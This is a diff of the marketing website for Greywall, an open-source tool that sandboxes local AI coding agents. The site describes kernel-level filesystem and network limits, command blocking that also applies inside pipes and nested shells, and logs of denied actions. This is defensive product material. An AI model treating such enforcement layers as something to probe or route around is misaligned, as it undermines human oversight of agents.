|
||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
||||
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-foreground truncate">npm install lodash</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4">
|
||||
Detects blocked commands in pipes, chains, and nested shells.
|
||||
Block rules still apply inside pipes, chains, and nested shells.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Learning mode */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<GraduationCap className="h-5 w-5 text-primary" />
|
||||
<GraduationCap className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
|
||||
</div>
|
||||
<div className="code-block p-4 mb-4">
|
||||
@@ -239,8 +231,8 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
|
||||
: 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
|
||||
? 'Uses strace to observe filesystem access and turns the result into an initial least-privilege template.'
|
||||
: 'Uses macOS Endpoint Security logging to observe access and turn the result into an initial least-privilege template.'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -248,8 +240,7 @@ export function Control() {
|
||||
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
|
||||
The security layer around your AI tools should be independent of the company selling you
|
||||
the AI, for the same reason you shouldn't let a bank audit itself.
|
||||
The control layer around the agent should remain separate from the vendor providing the model. The boundary needs its own point of control.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
38
components/cta-button.tsx
Normal file
@@ -0,0 +1,38 @@
|
||||
import type { ReactNode } from 'react'
|
||||
|
||||
type CTAButtonProps = {
|
||||
children: ReactNode
|
||||
className?: string
|
||||
type?: 'button' | 'submit'
|
||||
href?: string
|
||||
onClick?: () => void
|
||||
disabled?: boolean
|
||||
}
|
||||
|
||||
const baseClassName =
|
||||
'bg-primary text-serif text-[12px] md:text-[15px] leading-[140%] tracking-[-0.02em] font-semibold flex items-center gap-2 text-white! px-4 py-3 rounded-md transition-all duration-150 shadow-md hover:shadow-lg'
|
||||
|
||||
export function CTAButton({
|
||||
children,
|
||||
className = '',
|
||||
type = 'button',
|
||||
href,
|
||||
onClick,
|
||||
disabled = false,
|
||||
}: CTAButtonProps) {
|
||||
const fullClassName = `${baseClassName} ${disabled ? 'cursor-not-allowed opacity-50' : ''} ${className}`.trim()
|
||||
|
||||
if (href) {
|
||||
return (
|
||||
<a href={href} className={fullClassName}>
|
||||
{children}
|
||||
</a>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<button type={type} onClick={onClick} disabled={disabled} className={fullClassName}>
|
||||
{children}
|
||||
</button>
|
||||
)
|
||||
}
|
||||
114
components/faq.tsx
Normal file
@@ -0,0 +1,114 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { ChevronDown } from 'lucide-react'
|
||||
|
||||
const faqs = [
|
||||
{
|
||||
question: 'What is Greywall?',
|
||||
answer:
|
||||
'Greywall is a command-line tool for running AI agents inside a contained local boundary. Prefix the agent command with <code>greywall --</code> and Greywall applies deny-by-default controls for filesystem access, network access, and blocked commands at the OS layer. It works on Linux and macOS and is open source under Apache 2.0.',
|
||||
},
|
||||
{
|
||||
question: 'How do I sandbox my AI coding agent?',
|
||||
answer:
|
||||
'Install Greywall, then prefix the command you already use: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or another local CLI agent. Greywall operates below the agent, so it does not need plugins or agent-specific configuration. If you want to inspect what the agent attempted, open the GreyProxy dashboard.',
|
||||
},
|
||||
{
|
||||
question: 'How is Greywall different from running agents in Docker?',
|
||||
answer:
|
||||
'Containers isolate software well, but they often separate the agent from the local toolchain and working copy you actually need. Greywall keeps the agent in the normal local environment while enforcing boundaries around what it can read, write, execute, or reach on the network. It also records denied operations and live requests, which a basic container setup does not provide by itself.',
|
||||
},
|
||||
{
|
||||
question: 'Does Greywall work on macOS?',
|
||||
answer:
|
||||
'Yes. On macOS, Greywall uses Seatbelt, Apple's built-in sandbox facility. It generates a deny-by-default profile per session for filesystem access, network connections, and IPC. Linux has more available layers, but the macOS path still provides strong local containment using built-in OS capabilities.',
|
||||
},
|
||||
{
|
||||
question: 'Is Greywall open source?',
|
||||
answer:
|
||||
'Yes. Greywall is released under Apache 2.0 and the source is available on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a control layer, being able to inspect the implementation is a practical requirement. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a> and used in production deployments.',
|
||||
},
|
||||
{
|
||||
question: 'What kernel version does Linux require?',
|
||||
answer:
|
||||
'Namespace isolation via Bubblewrap needs Linux 3.8. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects the features present on the host and enables the layers it can support. Run <code>greywall --linux-features</code> to inspect the result.',
|
||||
},
|
||||
{
|
||||
question: 'Which AI agents does Greywall support?',
|
||||
answer:
|
||||
'Greywall works with local CLI agents that run as normal processes on your machine: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot, and similar tools. Because Greywall operates below the agent, support does not depend on vendor-specific integrations.',
|
||||
},
|
||||
]
|
||||
|
||||
const faqJsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@type': 'FAQPage',
|
||||
mainEntity: faqs.map((faq) => ({
|
||||
'@type': 'Question',
|
||||
name: faq.question,
|
||||
acceptedAnswer: {
|
||||
'@type': 'Answer',
|
||||
text: faq.answer.replace(/<[^>]*>/g, ''),
|
||||
},
|
||||
})),
|
||||
}
|
||||
|
||||
function FAQItem({ question, answer }: { question: string; answer: string }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
|
||||
return (
|
||||
<div className="border-b border-border/30">
|
||||
<button
|
||||
onClick={() => setOpen(!open)}
|
||||
className="w-full flex items-center justify-between gap-4 py-5 text-left cursor-pointer"
|
||||
>
|
||||
<h3 className="font-serif text-base sm:text-lg font-semibold text-foreground">
|
||||
{question}
|
||||
</h3>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200 ${
|
||||
open ? 'rotate-180' : ''
|
||||
}`}
|
||||
/>
|
||||
</button>
|
||||
<div
|
||||
className={`grid transition-[grid-template-rows] duration-200 ${
|
||||
open ? 'grid-rows-[1fr]' : 'grid-rows-[0fr]'
|
||||
}`}
|
||||
>
|
||||
<div className="overflow-hidden">
|
||||
<p
|
||||
className="pb-5 text-muted-foreground font-serif text-base leading-relaxed [&_code]:font-mono [&_code]:text-xs [&_code]:text-foreground [&_code]:bg-card/50 [&_code]:px-1.5 [&_code]:py-0.5 [&_code]:rounded [&_a]:text-primary [&_a]:hover:text-primary/80 [&_a]:transition-colors"
|
||||
dangerouslySetInnerHTML={{ __html: answer }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function FAQ() {
|
||||
return (
|
||||
<section className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||
Frequently asked.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="max-w-3xl">
|
||||
{faqs.map((faq) => (
|
||||
<FAQItem key={faq.question} question={faq.question} answer={faq.answer} />
|
||||
))}
|
||||
</div>
|
||||
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(faqJsonLd) }}
|
||||
/>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
@@ -1,21 +1,14 @@
|
||||
import { GreywallLogo } from './logo'
|
||||
|
||||
export function Footer() {
|
||||
return (
|
||||
<footer className="py-12 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
|
||||
<div className="mx-auto flex w-full max-w-[1480px] flex-col items-center justify-between gap-4 sm:flex-row">
|
||||
<div className="flex items-center gap-2">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
|
||||
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
|
||||
<GreywallLogo size="small" />
|
||||
<span className="text-sm text-muted-foreground font-sans">by Greyhaven</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
|
||||
<div className="flex items-center gap-6 text-sm text-muted-foreground font-sans">
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
@@ -32,6 +25,12 @@ export function Footer() {
|
||||
>
|
||||
greyhaven.co
|
||||
</a>
|
||||
<a
|
||||
href="/privacy"
|
||||
className="hover:text-foreground transition-colors"
|
||||
>
|
||||
Privacy
|
||||
</a>
|
||||
<span>Apache 2.0</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,126 +1,75 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { Download, Copy, Check } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
import { Copy, Check } from 'lucide-react'
|
||||
|
||||
const linuxSteps = [
|
||||
const methods = [
|
||||
{
|
||||
label: 'Install',
|
||||
label: 'Homebrew (macOS)',
|
||||
cmd: 'brew tap greyhavenhq/tap\nbrew install greywall',
|
||||
},
|
||||
{
|
||||
label: 'Linux / Mac',
|
||||
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
|
||||
},
|
||||
{
|
||||
label: 'Dependencies',
|
||||
cmd: 'sudo apt install bubblewrap socat',
|
||||
label: 'Go install',
|
||||
cmd: 'go install github.com/GreyhavenHQ/greywall/cmd/greywall@latest',
|
||||
},
|
||||
{
|
||||
label: 'Setup proxy',
|
||||
cmd: 'greywall setup',
|
||||
},
|
||||
{
|
||||
label: 'Run sandboxed',
|
||||
cmd: 'greywall -- claude',
|
||||
label: 'Build from source',
|
||||
cmd: 'git clone https://github.com/GreyhavenHQ/greywall\ncd greywall\nmake setup && make build',
|
||||
},
|
||||
]
|
||||
|
||||
const macosSteps = [
|
||||
{
|
||||
label: 'Install',
|
||||
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
|
||||
},
|
||||
{
|
||||
label: 'Setup proxy',
|
||||
cmd: 'greywall setup',
|
||||
},
|
||||
{
|
||||
label: 'Run sandboxed',
|
||||
cmd: 'greywall -- claude',
|
||||
},
|
||||
]
|
||||
function CodeBlock({ cmd, label }: { cmd: string; label: string }) {
|
||||
const [copied, setCopied] = useState(false)
|
||||
|
||||
export function GettingStarted() {
|
||||
const [platform] = usePlatform()
|
||||
const [copiedIdx, setCopiedIdx] = useState<number | null>(null)
|
||||
|
||||
const steps = platform === 'linux' ? linuxSteps : macosSteps
|
||||
|
||||
function copy(text: string, idx: number) {
|
||||
navigator.clipboard.writeText(text)
|
||||
setCopiedIdx(idx)
|
||||
setTimeout(() => setCopiedIdx(null), 2000)
|
||||
function copy() {
|
||||
navigator.clipboard.writeText(cmd)
|
||||
setCopied(true)
|
||||
setTimeout(() => setCopied(false), 2000)
|
||||
}
|
||||
|
||||
return (
|
||||
<section id="getting-started" className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-12">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Download className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Getting started
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
{platform === 'linux' ? 'Four steps. Full isolation.' : 'Three commands. Done.'}
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'A single Go binary plus two standard packages. No containers, no daemon, no build step.'
|
||||
: 'A single Go binary. No extra packages, no containers, no daemon. Uses built-in macOS sandboxing.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
<div>
|
||||
<div className="text-xs font-sans font-medium text-muted-foreground mb-2">{label}</div>
|
||||
<div className="code-block px-4 sm:px-5 py-3.5 flex items-start justify-between gap-3">
|
||||
<div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
|
||||
<pre className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-pre">{cmd}</pre>
|
||||
</div>
|
||||
<button
|
||||
onClick={copy}
|
||||
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all mt-0.5"
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="h-4 w-4 text-muted-foreground" />
|
||||
) : (
|
||||
<Copy className="h-4 w-4" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
<div className="space-y-4 max-w-2xl">
|
||||
{steps.map((step, i) => (
|
||||
<div key={`${platform}-${i}`} className="flex items-start sm:items-center gap-3 sm:gap-4">
|
||||
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold mt-3 sm:mt-0">
|
||||
{i + 1}
|
||||
</div>
|
||||
<div className="flex-1 min-w-0 code-block p-3 flex items-center gap-3">
|
||||
<span className="text-xs font-sans text-muted-foreground shrink-0 w-20 sm:w-24 hidden sm:block">
|
||||
{step.label}
|
||||
</span>
|
||||
<div className="flex-1 min-w-0 overflow-x-auto scrollbar-hide">
|
||||
<code className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-nowrap">
|
||||
{step.cmd}
|
||||
</code>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => copy(step.cmd, i)}
|
||||
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"
|
||||
>
|
||||
{copiedIdx === i ? (
|
||||
<Check className="h-3.5 w-3.5 text-primary" />
|
||||
) : (
|
||||
<Copy className="h-3.5 w-3.5" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
export function GettingStarted() {
|
||||
return (
|
||||
<section id="getting-started" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl text-center">
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Start with the CLI.
|
||||
</h2>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground mb-10">
|
||||
Install Greywall, then prefix the agent command you already use.
|
||||
</p>
|
||||
|
||||
<div className="mx-auto max-w-2xl text-left space-y-6">
|
||||
{methods.map((m) => (
|
||||
<CodeBlock key={m.label} label={m.label} cmd={m.cmd} />
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="mt-10 grid grid-cols-1 sm:grid-cols-3 gap-4 max-w-2xl">
|
||||
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||
<div className="font-mono text-2xl font-semibold text-primary mb-1">
|
||||
{platform === 'linux' ? '5' : '3'}
|
||||
</div>
|
||||
<div className="text-xs text-muted-foreground font-sans">
|
||||
{platform === 'linux' ? 'Security layers' : 'Enforcement layers'}
|
||||
</div>
|
||||
</div>
|
||||
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||
<div className="font-mono text-2xl font-semibold text-primary mb-1">0</div>
|
||||
<div className="text-xs text-muted-foreground font-sans">Containers needed</div>
|
||||
</div>
|
||||
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
|
||||
<div className="font-mono text-2xl font-semibold text-primary mb-1">1</div>
|
||||
<div className="text-xs text-muted-foreground font-sans">Binary to install</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
|
||||
@@ -1,87 +1,71 @@
|
||||
'use client'
|
||||
import { BetaSignup } from './beta-signup'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { Copy, Check } from 'lucide-react'
|
||||
|
||||
export function Hero() {
|
||||
const [copied, setCopied] = useState(false)
|
||||
|
||||
const installCmd = 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh'
|
||||
|
||||
function copyInstall() {
|
||||
navigator.clipboard.writeText(installCmd)
|
||||
setCopied(true)
|
||||
setTimeout(() => setCopied(false), 2000)
|
||||
async function getStarCount(): Promise<string> {
|
||||
try {
|
||||
const res = await fetch('https://api.github.com/repos/GreyhavenHQ/greywall', {
|
||||
next: { revalidate: 3600 },
|
||||
headers: { Accept: 'application/vnd.github+json' },
|
||||
})
|
||||
if (!res.ok) return '138 stars'
|
||||
const data = await res.json()
|
||||
return typeof data.stargazers_count === 'number' ? `${data.stargazers_count} stars` : '138 stars'
|
||||
} catch {
|
||||
return '138 stars'
|
||||
}
|
||||
}
|
||||
|
||||
export async function Hero() {
|
||||
const stars = await getStarCount()
|
||||
const badges = [
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'GitHub', value: stars },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE', label: 'License', value: 'Apache-2.0' },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall/releases', label: 'Release', value: 'v0.3.1' },
|
||||
{ href: 'https://github.com/GreyhavenHQ/greywall', label: 'Go', value: 'v1.25' },
|
||||
{ href: 'https://www.producthunt.com/products/greywall?launch=greywall', label: 'Product Hunt', value: 'Greywall' },
|
||||
]
|
||||
return (
|
||||
<section className="relative pt-24 sm:pt-32 pb-16 sm:pb-24 px-4 sm:px-6 overflow-hidden">
|
||||
{/* Subtle background gradient */}
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
|
||||
{/* Grid pattern */}
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
backgroundImage:
|
||||
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
||||
backgroundSize: '64px 64px',
|
||||
}}
|
||||
/>
|
||||
|
||||
<div className="relative mx-auto max-w-3xl text-center">
|
||||
<div className="inline-flex items-center gap-2 px-3 py-1 mb-8 rounded-full border border-border/60 bg-card/50 text-xs text-muted-foreground font-sans">
|
||||
<span className="inline-block w-1.5 h-1.5 rounded-full bg-primary animate-pulse" />
|
||||
Container-free sandboxing for AI agents
|
||||
</div>
|
||||
|
||||
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
|
||||
Constrain your agents.
|
||||
<br />
|
||||
<span className="text-foreground">Know what they </span><em className="italic text-primary">touch</em><span className="text-foreground">.</span>
|
||||
</h1>
|
||||
|
||||
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto mb-10 font-serif">
|
||||
OS-native, default-deny sandboxing with real-time visibility into every
|
||||
file access and network call.
|
||||
</p>
|
||||
|
||||
{/* Demo video */}
|
||||
<div className="mx-auto max-w-4xl mb-10">
|
||||
<div className="rounded-lg border border-border/40 overflow-hidden glow-orange">
|
||||
<video
|
||||
autoPlay
|
||||
loop
|
||||
muted
|
||||
playsInline
|
||||
controls
|
||||
className="w-full h-auto"
|
||||
>
|
||||
<source src="/videos/demo.mp4" type="video/mp4" />
|
||||
</video>
|
||||
<section className="relative w-full px-4 pt-8 pb-6 sm:px-6 sm:pt-10 sm:pb-8">
|
||||
<div className="relative z-10 mx-auto max-w-5xl text-center">
|
||||
<div className="flex flex-col items-center gap-3">
|
||||
<div className="w-full text-center">
|
||||
<h1 className="title-serif mx-auto w-full max-w-[980px] text-[40px] leading-[1.0] tracking-normal font-semibold md:text-[72px]">
|
||||
Contain and observe AI agents without friction.
|
||||
</h1>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Install command */}
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="code-block glow-orange px-4 sm:px-5 py-3.5 flex items-center justify-between gap-3">
|
||||
<div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
|
||||
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
{installCmd}
|
||||
</code>
|
||||
</div>
|
||||
<button
|
||||
onClick={copyInstall}
|
||||
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="h-4 w-4 text-primary" />
|
||||
) : (
|
||||
<Copy className="h-4 w-4" />
|
||||
)}
|
||||
</button>
|
||||
<div className="text-center">
|
||||
<p className="text-serif mx-auto max-w-[380px] text-[18px] leading-[1.2] font-semibold tracking-[-2.2%] text-greyhaven-grey7 md:max-w-[720px] md:text-[28px]">
|
||||
Default-deny filesystem, network, and command controls around AI agents on Linux and macOS, with records of what they tried to do.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mt-1 flex flex-wrap items-center justify-center gap-2">
|
||||
{badges.map((badge) => (
|
||||
<a
|
||||
key={badge.label}
|
||||
href={badge.href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center overflow-hidden rounded-md border border-border/60 bg-card/90 text-[13px] leading-none transition-colors hover:border-primary/30 md:text-[14px]"
|
||||
>
|
||||
<span className="bg-greyhaven-grey8 px-3 py-1.5 font-sans text-greyhaven-offwhite md:px-3.5 md:py-2">
|
||||
{badge.label}
|
||||
</span>
|
||||
<span className="bg-primary px-3 py-1.5 font-sans text-primary-foreground md:px-3.5 md:py-2">
|
||||
{badge.value}
|
||||
</span>
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<BetaSignup
|
||||
subject="Greywall managed governance inquiry (hero)"
|
||||
message="(hero governance CTA)"
|
||||
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||
wrapperClassName="mt-2 flex flex-col items-center gap-1.5"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Layers as LayersIcon, Shield, AppWindow, Terminal } from 'lucide-react'
|
||||
import { Box, Lock, ShieldCheck, Eye, Wifi, Shield, Terminal } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const linuxLayers = [
|
||||
@@ -56,13 +56,6 @@ const macosLayers = [
|
||||
desc: 'Fine-grained read/write rules using literal paths, subpath matching, and regex patterns. Sensitive files like SSH keys and .env are always protected.',
|
||||
detail: 'Seatbelt rules',
|
||||
},
|
||||
{
|
||||
icon: AppWindow,
|
||||
name: 'Mach IPC Control',
|
||||
tag: 'IPC',
|
||||
desc: 'Allowlist of safe Mach IPC services. Prevents sandboxed processes from communicating with privileged system services outside the policy boundary.',
|
||||
detail: 'Service allowlist',
|
||||
},
|
||||
{
|
||||
icon: Terminal,
|
||||
name: 'Log Stream Monitor',
|
||||
@@ -84,23 +77,20 @@ export function Layers() {
|
||||
const layers = platform === 'linux' ? linuxLayers : macosLayers
|
||||
|
||||
return (
|
||||
<section id="features" className="py-24 px-6 border-t border-border/30">
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<LayersIcon className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Defense in depth
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Defense in depth
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
{platform === 'linux' ? 'Five orthogonal security layers.' : 'Kernel-enforced on every call.'}
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
{platform === 'linux'
|
||||
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
|
||||
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
? 'Each layer constrains a different part of the runtime. If one mechanism misses something, another can still catch it at the kernel boundary.'
|
||||
: 'macOS Seatbelt enforces deny-by-default rules before the call completes. The profile is generated per session from the project context you allow.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -112,7 +102,7 @@ export function Layers() {
|
||||
key={layer.name}
|
||||
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
|
||||
>
|
||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
|
||||
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-muted/30 text-foreground">
|
||||
<layer.icon className="h-5 w-5" />
|
||||
</div>
|
||||
<div className="flex-1 min-w-0">
|
||||
@@ -120,7 +110,7 @@ export function Layers() {
|
||||
<h3 className="font-sans font-semibold text-sm text-foreground">
|
||||
{layer.name}
|
||||
</h3>
|
||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-primary/10 text-primary">
|
||||
<span className="px-2 py-0.5 rounded text-[10px] font-sans font-medium uppercase tracking-wider bg-muted/30 text-muted-foreground">
|
||||
{layer.tag}
|
||||
</span>
|
||||
</div>
|
||||
@@ -142,22 +132,20 @@ export function Layers() {
|
||||
{platform === 'linux' ? (
|
||||
<>
|
||||
<span className="text-primary font-medium">Graceful degradation.</span>{' '}
|
||||
Greywall detects kernel features at runtime and activates every layer your system
|
||||
supports. Run{' '}
|
||||
Greywall checks the kernel features available on the host and enables the layers it can support. Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall --linux-features
|
||||
</code>{' '}
|
||||
to see what's available.
|
||||
to inspect the active set.
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="text-primary font-medium">No dependencies.</span>{' '}
|
||||
macOS sandboxing uses only built-in OS capabilities. No packages to install.
|
||||
Run{' '}
|
||||
macOS sandboxing uses the built-in system facilities. Run{' '}
|
||||
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
|
||||
greywall check
|
||||
</code>{' '}
|
||||
to verify your setup.
|
||||
to verify the local setup.
|
||||
</>
|
||||
)}
|
||||
</p>
|
||||
|
||||
26
components/logo.tsx
Normal file
@@ -0,0 +1,26 @@
|
||||
import Image from 'next/image'
|
||||
|
||||
type GreywallLogoProps = {
|
||||
className?: string
|
||||
size?: 'default' | 'small'
|
||||
}
|
||||
|
||||
const dimensions = {
|
||||
default: { width: 285, height: 70 },
|
||||
small: { width: 138, height: 40 },
|
||||
}
|
||||
|
||||
export function GreywallLogo({ className = '', size = 'small' }: GreywallLogoProps) {
|
||||
const { width, height } = dimensions[size]
|
||||
|
||||
return (
|
||||
<Image
|
||||
src="/greywall-logo.png"
|
||||
alt="Greywall"
|
||||
width={width}
|
||||
height={height}
|
||||
className={className}
|
||||
priority
|
||||
/>
|
